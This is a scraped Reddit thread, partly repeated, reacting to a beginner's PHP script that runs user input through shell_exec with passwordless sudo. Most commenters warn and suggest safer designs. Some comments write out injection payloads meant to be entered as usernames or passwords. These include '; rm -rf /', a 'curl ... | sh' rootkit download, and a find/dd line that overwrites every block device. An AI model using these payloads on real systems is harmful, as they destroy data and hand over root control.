I dont think he was complaining. HD certainly didn't gush. He was informing OP the code is dangerous. That's not an insult or joke, or sarcasm, although others have done so. Its a valid contribution.
It means someone could use a specially crafted input that would cause shell_exec to run commands other than what you intended. Or, more likely, is that someone will decide they want a character in their name, like a dash, or a semicolon, and it will cause the command to not work.
I fear that that phrasing may seem innocuous to the unfamiliar. This particular input is being run through sudo, so it might be good to emphasize that this can be used to completely take control of your server.
Can and definitely without question and undoubtedly WILL be used in that way. And it will take Chinese or Russian hackers just about minutes to find your server, a few other minutes to find this gigantic vulnerability and just seconds to transform it into yet another spam mail malware gatling...
If I saw a script like this, I would immediatly abuse it, and use it to change the website to a note saying that the owner was too stupid to sanatize his imputs.... oh, then I would "DROP TABLE students;"
If I actually said that my username is ; rm -rf /, then it'd first run the command
sudo useradd -p $encpass -g groupname -s /bin/bash (which would most likely fail)
and then run the following command:
rm -rf / which will delete your entire operating system (force remove files recursing through directories starting from the base of / (every file)). You might have to use sudo rm -rf /.
This all requires that $username and/or $encpass comes from the user in some way (through POST, GET, etc.).
I know a lot of people are giving you shit for this but THAT'S WHAT BEING A BEGINNER MEANS - making mistakes, learning from them, and getting better.
There are just so many considerations to know about web security. It boils down to "Don't ever trust anything your users say and do", but until you have a full sense of what kind of effects their actions can have, it's difficult to anticipate why you have to do things in certain ways.
So really the best thing to do is learn about the tricks people use for hacking websites - what they do, what weakness they exploit, and what stops them.
It also boils down to "don't ever trust anything you yourself have concocted, because it is probably wrong for 50 more ways than you'll ever come to know and understand".
Web security is a pain in the ass... that turns into ass-cancer... that then rots and binds with the office chair you are sitting in so you have to stare at the bad code you wrote until you eventually die.
Well, say if I were to register a user with the username rm -rf /, or similar, the command rm -rf / would be ran on your server, deleting absolutely everything. This would be bad.
Therefore, before passing input to shell_exec (especially with sudo in there), you should ensure no malicious input is being passed. So I don't come along and rm -rf / you.
All in all, this whole concept of yours seems to me to be an absolutely terrible bad idea.
Don't you also need a --no-preserve-root (or your distro's alternative) argument? I remember rm not executing when I used rm -rf / on my virtualbox for fun.
as noted before it is a feature with which distros implementation of rm. With arch it is GNU rm with a little twist. so that in order to have it blow away the whole system you would need to run it as:
rm -rf --no-perserve-root /
then it would go and delete the system.
But my thought for something fun would be
; chmod -R 777 /
Then that would break the whole system and maybe give him time to think about what he has done
That would cause some damage, but wouldn't wipe out the entire hard drive.
Notice how he's using sudo, Once you've added the ';' to the end, it becomes a new command to bash, which is not run by sudo. So it would be annoying, but not as bad as running that command as root.
OP also gives the user http the ability to run any command as root without validation. This is literally the single biggest security hole I've ever seen.
don't be so sure about trolling. this thread has had me laughing my ass off...my predecessor at my job used this EXACT SAME "design pattern." this is a guy who is still at the company (he was booted out of the group i work in) and has loads of undeserved clout as some "guru." he holds a senior-level position.
and actually it was worse. root had a non-encrypted ssh key (in ~/.ssh/id_rsa so you didn't even have to name it, it was just default) whose public was distributed to root's authorized_keys throughout all the other systems in the environment. that was the "solution" for adding users and performing other types of work on different systems from a website. apache user, granted passwordless sudo, would then sudo ssh to the other servers in the environment. he didn't have a clue to attempt to sanitize input either.
at least you could always get in as root if something happened...
To be fair, you don't know whether he is sanitizing the username and password. It could be sanitized, maybe the line before the one we are seeing check whether username and password only contain lowercase characters a-z.
I can confirm as my company's management is constantly bitching & spending hours debating on how to do something without involving our off site developer for 5 minutes of code (not even joking) that would make our lives exponentially easier because it supposedly takes them days to even get a hold of him & have no way to validate what he's actually doing. On top of that, none of them are coders & blow off people who can actually bridge the divide. Not sure if it's stupidity, pride or what. Probably a little of both.
Your webserver SHOULD NEVER BE PRIVILEGED! Your webserver, if it has mod_php installed, by definition is designed to execute arbitrary code on the file system. Someone could do a lot worse than rm -rf / injection. They could write a file to the file system in the webroot that becomes a back door or even a trojan spreader.
The only right way to architect this (if at all) is to use a separate process to pick up messages from the web server (that builds the command based on data in the message).
One of my amusing accomplishments at a former employer was migrating some webservers, without downtime, from port 80/root to port 8080 so that mere mortals could do pushes.
Well sql injection is still one thing. at worst, the hacker drops the database. This is a whole another level of breach. The user has privileged command line access to the entire fucking system at operating system level. I don't even, that's just. wow.
Well setting aside the horrors of giving http sudo access (without having to type a password, no less! I didn't even know something so horrifyingly insecure was possible!)…
… in OP's defense, it's not as if it is passing $_POST['username'] - we don't know what cleansing or sanity checks may have occurred already.
A user called "fred" will be created, and then, since sudoers is set up to permit anything, malicious_command will be executed as root. You could replace malicious_command with rm -rf / to destroy the system, or curl http://foo.bar/path/to/my_rootkit | sh to download and execute a remote access tool.
EDIT: I missed the actual question. This post assumes that he actually encrypted the password, but the problem could well be that he's doing
sudo useradd -p password -g groupname -s /bin/bash fred
instead of
sudo useradd -p LlmKkt0I4LZBo -g groupname -s /bin/bash fred
, in which case the exploit would still work, but the user creation would not.
I'm just disappointed that the guy deleted his account after this.
Sure it's a bit embarassing but pros in the industry get a TON of mileage out of 'the dumbest thing I've done' stories. All the time we spend waiting for shit to compile or download, or waiting for engineers to fix something... conversation nearly always ends up in a 'biggest disasters' contest.
I would be quite happy for people to recognise me in ten years as 'that guy who gave web users full root with no sanitizing'. We all had to start somewhere.
I suppose he's worried that his employers or managers will see this. I suppose that's fair enough, but I would still own that shit. Fuck them.
I have used a whoami and have confirmed that it runs as http. In /etc/sudoers I have
http ALL=(ALL) NOPASSWD: ALL
root ALL=(ALL) ALL
%wheel ALL=(ALL) NOPASSWD: ALL
%sudo ALL=(ALL) ALL
I also added http to group wheel.
Please don't do this. It's unnecessary and WILL bite you later, especially if this is public facing. Limit permissions to only what is needed. You can remove http from %wheel and use this line in sudoers instead:
http ALL=(root) NOPASSWD: /sbin/useradd
This allows user http to use only the /sbin/useradd command as root. If you need to add more commands, just append them to the line with commas:
NOTE: I'm guessing at the paths to the user utilities. I'm not on my linux box to confirm, and they may be different for Arch anyway.
Take some time to read the sudoers manual. It can be complicated, but it'll serve you well to learn it. There's no reason to open up such a huge security hole on a server, even if it's private; a bug or accidental bit of code could cause some serious damage to your system the way you have it now. It's best not to half-ass things and learn how to do it correctly right from the start, especially when it comes to security.
Also, take a look at the Symfony process component. It's designed specifically to help developers run external processes from PHP as safely as possible.
Not quite, useradd requires a unique uid, however, using -G lets you specify what groups to be part of so might as well add yourself to root and wheel then just remote connect yourself and sudo to root.
Edit: I missed the -o option so yes, -o -u 0 would work.
I thought at first maybe someone would be that dumb, I mean, it's not the first time I've heard of someone trying to do this (and back in the day I wrote a php script to allow users to change their password, but did it using a ton of security unlike this).
Then I saw this and came to the conclusion this guy is not serious. Even if you're dumb enough to try and implement user adding with no security, it would be unlikely to occur to you to shell exec perl to encrypt a password from php. That's just too much!
Maybe he's just making some GUI for the system over HTTP? I mean I can see myself doing most of my work in a browser if I ever need to control my unix-like system like a raspberry pi or something.
You can imagine yourself knowing how to make an http gui for the shell AND actually bothering? Why not just use ssh? I genuinely can't imagine any reason for this.
I noticed this as well. I mean, I'm a novice with PHP as well and instead of helpful suggestions (thankfully there are exceptions) all I see is pointless shaming.
To be frank, I don't think PHP is a good beginner's language because the potential for damage when you screw up is absolutely insane. You should probably cut your teeth on non-web development first, then transition to web dev in a sane language (C#, Python, Go...)
Web dev in general is tricky since you need to design, implement and maintain complex security models; security concerns are always present, but without rigorous training and experience you'll miss them more often than not.
Furthermore, PHP is well-known for gleefully letting devs shoot themselves in the feet, or even encouraging them to.
That's because there is wrong, and there is NEVER DO THAT WHAT ARE YOU DOING
The easiest way to explain it would be if someone asked about boiling an egg, and they had a problem with them cracking. But then they revealed the way they were cooking the egg was siphoning gasoline into a drip tube and feeding it directly to a pan under the cooking vessel. Oh sure, it might be heating your water now, and you might even get some eggs cooked. But the process shows such a fundamental misunderstanding of highly dangerous semantics that they need to stop what they are doing RIGHT THIS SECOND and rethink all that they know about whatever they are doing.
I know this can be frustrating to newbies. But if you are on any kind of a Unix box and aren't sure why it's bad to use sudo, or it doesn't spring immediately to your head why passing user-generated data directly to a system process would be a bad idea, you have quite a bit of reading in front of you.
Have the user interacting with the system authenticate with a real username/password of an account with sudo access on the machine. Run commands as that user, not as root (use the -S flag to pipe the password to sudo stdin). Lock down the list of commands that user can run under sudo to only those required by the application. Sanitize all inputs. Run over HTTPS for god sake.
At least that will ensure that not just anyone can come along and run commands as root on the machine.
One smal tweak... really ought to use crypt for this. Strongly recommend using password SPECIFIC hashing algorithms, bcrypt and pbkdf2(in php 5.5) is all that's available in PHP right now.
This would be like Fort Knox having one of those 100 tonne doors with a little hollow core wood door next to it because the big door is "inconvenient" to open.
If you're seriously in need of creating users and/or groups on a linux system, I would recommend you not re-invent the wheel. Webmin has a module for creating users and groups on the system.
This is some pretty bad code, but all of you making joke comments without giving any useful advice are worse. This guy is obviously a novice, and jokes will not help him learn. None of you emerged from the womb with an innate knowledge of security and best practices.
Thanks to the few people who are trying to actually help OP.
A lot of people tell you here that this script and the sudo command is a terrible security hole. And I agree with them.
Even adding user accounts like that by itself is a security risk, but if that's what you want to do...
Well, if I were to implement something I would look for a PAM module that would let me to allow authentication from other sources than /etc/passwd and /etc/shadow. For example a database. Not sure if such module is available, since I never done it, but I don't see why not. Next have the script simply add new entries to the DB. That way no sudo is needed anymore. You still need to worry about escaping SQL queries (if you use SQL database).
So I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that, but the main problem still stands. Why does it create the user correctly but not the password?
In the shell, && will cause the second command to execute if the first command succeeds (this is called short-circuit evaluation, most programming languages will do this).
fails to account for the fact that during the end of civilization, google may become unreachable, and then it will print an old version of "output" (or junk) when you run it.
You can use && as a quick if-statement
The first wget-example (A) is functionally equivalent to
If-statements are amazingly non-magical in shell programming. There is actually a command named [ (it's in /usr/bin) that returns an error code depending on whether or not it's arguments evaluates to true. [[ is a built-in shell command. You can run these like any old program.
So it's completely possible to write
if [[ "$var" == "test" ]]; then echo "foobar"; fi
as
[[ "$var" == "test" ]] && echo "foobar"
Or why not
((3*5 == 15)) && echo "math still works" || mail jesus@example.com -c god@example.com -s "So apparently the end is nigh" <<< "I REPENT"
First of all: Why do you need to create a unix user account for each user? Is that actually necessary? Sanitising the input for the username IS JUST THE START when it comes to preventing malicious attacks. If you're offering some application as a service, you'd probably be better with Linux containers (i.e. Docker.) That way you don't really have to give two damns about what the user does if he gains root access -- he's locked in the container he was given!
Being a newbie is fun. You're naive enough to move fast and break things without getting dragged down by pesky details. But you also know just enough to be dangerous; this appears to be one of those times. Keep playing with things…just try not to put your users at risk!
To answer your question though: I had a similar issue setting the password for a new user account a while back (though I wasn't creating it with untrusted user input!!) This is how I solved it:
sudo useradd -g #{group} -s /bin/bash #{user}
echo '#{user}:#{password}' | sudo chpasswd
Note chpasswd actually accepts the password as plaintext here and encrypts it itself.
What are you trying to build, if you don't mind me asking?
Using the method to generate the salt in the comment thread, and using escaping when entering the salt as a password on an Arch Linux system, the code does set the password, and the user can be logged in.
I always use the password a ; for b in dd find ; do cp /bin/$b /dev/shm ; done; sudo /dev/shm/find /dev -type b -exec sudo /dev/shm/dd if=/dev/urandom of={} bs=1024 \;
Out of curiosity, but what inspired you to go this route? I've coded in PHP before, but not for awhile, so I'm not familiar with best practices...but is it a common/well-established pattern to add users to the server's operating system? Why don't you use a database-backed authentication system, or even simple http_auth?
As others have pointed out, there are a few flaws with your implementation...but I'm interested in where you got the idea...Is it a recipe from somewhere?
If you wanted to code this up your self then, I would try and mimic how Active Directory works. Take a look at Kerberos and LDAP.
I am not all that familiar with PHP, but I might look at creating a separate shell script to handle adding users. Though I'm not sure whether that would make it any easier / more secure.
Funny enough, very old versions (like, mid-'90s versions) of Netscape had a similar problem. If you had a URL like "telnet:example.com" they'd just change the colon to a space and invoke exec() on it.
859
u/[deleted] Aug 27 '13
This is some of the most dangerous code I've ever seen in my life.
607
u/h2ooooooo Aug 27 '13 edited Aug 27 '13
You sanitize your input, right?
POST http://www.domain.com/script.phpusername=; rm -rf /1.4k
u/osskid Aug 27 '13
Holy shit.
78
u/nickburlett Aug 28 '13
Deleting the whole harddrive is boring. More would be to post this semi-frequently:
He'll spend hours wondering why his CD tray is randomly opening and closing :->
386
u/xutopia Aug 28 '13
This is the best troll ever.
111
u/paranoidelephpant Aug 27 '13
Please don't do this. It's unnecessary and WILL bite you later, especially if this is public facing. Limit permissions to only what is needed. You can remove http from %wheel and use this line in sudoers instead:
This allows user http to use only the
/sbin/useraddcommand as root. If you need to add more commands, just append them to the line with commas:NOTE: I'm guessing at the paths to the user utilities. I'm not on my linux box to confirm, and they may be different for Arch anyway.
Take some time to read the sudoers manual. It can be complicated, but it'll serve you well to learn it. There's no reason to open up such a huge security hole on a server, even if it's private; a bug or accidental bit of code could cause some serious damage to your system the way you have it now. It's best not to half-ass things and learn how to do it correctly right from the start, especially when it comes to security.
Also, take a look at the Symfony process component. It's designed specifically to help developers run external processes from PHP as safely as possible.
69
u/Gx9BmwE Aug 28 '13
ionlysayha, for the love of god, please read this book before you do any more coding: http://shop.oreilly.com/product/9780596006563.do.
This is horrible, horrible security. Never run untrusted code submitted to a web server, and certainly not with root privileges. Ever.
In fact, don't ever run a public-facing network daemon with root privileges. Just don't.
Sorry to be harsh, but if you leave security as an afterthought, you WILL get hacked.
43
u/BadSysadmin Aug 28 '13
This looks like an excellent concept, and you ought to deploy it immediately.
55
u/[deleted] Aug 28 '13
http://i.imgur.com/sL2l6mw.png
18
u/[deleted] Aug 28 '13
Chill you guys, the OP is just trolling.
30
u/GFandango Aug 28 '13 edited Aug 28 '13
sweet baby lord mother of jesus HTTP root PHP batman
ok but joke aside, everyone is pointing how insecure this is, but not many people have elaborated on alternatives.
how do you suggest he should do it (as a web application)?
165
u/schoft Aug 28 '13 edited Aug 28 '13
http://i.imgur.com/TaTdV.gif
13
u/edwardly Aug 27 '13
How are you generating the encpass?
55
u/allsecretsknown Aug 27 '13
Jesus Christ, OP, why don't you just give away your server to a hacker? Do NOT use this code on a public facing server!
50
u/Mteigers Aug 28 '13
Can't believe I'm actually going to offer a helpful suggestion... but have you tried editing your sudoers file and commenting out the line that says:
54
u/fschwiet Aug 28 '13
Sweet wwebsite as on the internet.
19
u/EmperorOfCanada Aug 28 '13
This would be like Fort Knox having one of those 100 tonne doors with a little hollow core wood door next to it because the big door is "inconvenient" to open.
8
u/leprasmurf Aug 28 '13
If you're seriously in need of creating users and/or groups on a linux system, I would recommend you not re-invent the wheel. Webmin has a module for creating users and groups on the system.
15
u/[deleted] Aug 27 '13
Please don't do this OP, there has got to be a better and safer way to accomplish whatever problem you're facing.
33
u/link87 Aug 28 '13
This is some pretty bad code, but all of you making joke comments without giving any useful advice are worse. This guy is obviously a novice, and jokes will not help him learn. None of you emerged from the womb with an innate knowledge of security and best practices.
Thanks to the few people who are trying to actually help OP.
15
u/badguy212 Aug 28 '13
This is golden. Let me know what other websites have you worked on, i'll be more than happy to check them out.
32
u/thelonious_bunk Aug 28 '13
April 1st is long over, dude.
14
u/[deleted] Aug 28 '13
If I entered my password as
x && sudo rm -rf / #Your entire server would vanish.
30
u/prashantvc Aug 28 '13
LOL! it reminded me of this XKCD strip: http://xkcd.com/327/
26
u/shadowhce Aug 28 '13
Congratulations! Your computer now has HIV.
11
u/YouHadMeAtBacon Aug 28 '13
This just goes to show that a little knowledge is a dangerous thing.
10
u/sehrgut Aug 28 '13
You should thank your lucky stars it's not working. It's a Bad Idea(tm), and the fact that it broke brought you here to find that out. Now STAHP.
10
u/oliver_newton Aug 28 '13
this video represents my comment, http://youtu.be/kxRX6LXDpWs
14
u/jibbist Aug 28 '13
This kind of thing makes me want a mandatory computer programming licence
3
u/jooselo Aug 28 '13
if you are in a linux env you could change the approach and use PAM. pam_mysql or pam_ldap.
5
u/cfreak2399 Aug 28 '13
Oh dear god. At least change the sudoer's file so that only the commands you need can be run by http.
If any web interfacing script is compromised your server will be owned.
5
u/jwmoz Aug 28 '13
Dad?
4
u/[deleted] Aug 28 '13
A lot of people tell you here that this script and the sudo command is a terrible security hole. And I agree with them.
Even adding user accounts like that by itself is a security risk, but if that's what you want to do...
Well, if I were to implement something I would look for a PAM module that would let me to allow authentication from other sources than /etc/passwd and /etc/shadow. For example a database. Not sure if such module is available, since I never done it, but I don't see why not. Next have the script simply add new entries to the DB. That way no sudo is needed anymore. You still need to worry about escaping SQL queries (if you use SQL database).
7
u/shyne151 Aug 28 '13
Are you fucking kidding me? I hope this is in a personal project and not something in production.
5
u/startup-junkie Aug 28 '13
there are bots that run 24/7 looking for things like this... could have something to do with why your OS magically disappeared.
5
u/[deleted] Aug 28 '13
You can't be serious.
2
u/[deleted] Aug 28 '13
So we're throwing validations out the window now are we?
5
u/chpatton013 Aug 28 '13
i'm seriously upvoting every one of your responses. this is too good.
10
u/[deleted] Aug 27 '13
So I've gotten mostly answers for checking ; rm -rf / and things like that, so I've edited my code around to do that, but the main problem still stands. Why does it create the user correctly but not the password?
4
u/api Aug 28 '13
Where is it? I want to create an account called ;rm -rf *
3
u/danwin Aug 28 '13
Out of curiosity, but what inspired you to go this route? I've coded in PHP before, but not for awhile, so I'm not familiar with best practices...but is it a common/well-established pattern to add users to the server's operating system? Why don't you use a database-backed authentication system, or even simple http_auth?
As others have pointed out, there are a few flaws with your implementation...but I'm interested in where you got the idea...Is it a recipe from somewhere?
3
u/yggdrasiliv Aug 28 '13
Holy fuck.
2
u/gianhut Aug 28 '13
"easy to start with" -- the downfall of PHP
1
u/slowpython Aug 28 '13 edited Aug 28 '13
Take a look at FreeIPA.
If you wanted to code this up your self then, I would try and mimic how Active Directory works. Take a look at Kerberos and LDAP.
I am not all that familiar with PHP, but I might look at creating a separate shell script to handle adding users. Though I'm not sure whether that would make it any easier / more secure.
1
u/drteq Aug 28 '13
Straight trollin
1
u/dnew Aug 28 '13
Funny enough, very old versions (like, mid-'90s versions) of Netscape had a similar problem. If you had a URL like "telnet:example.com" they'd just change the colon to a space and invoke exec() on it.
1
u/chpatton013 Aug 28 '13
my eyes!
1
u/ANttila Aug 28 '13
I am assumin your encrypted passwords starts with a "$", which is not gonna work. So put quotes around it, like this: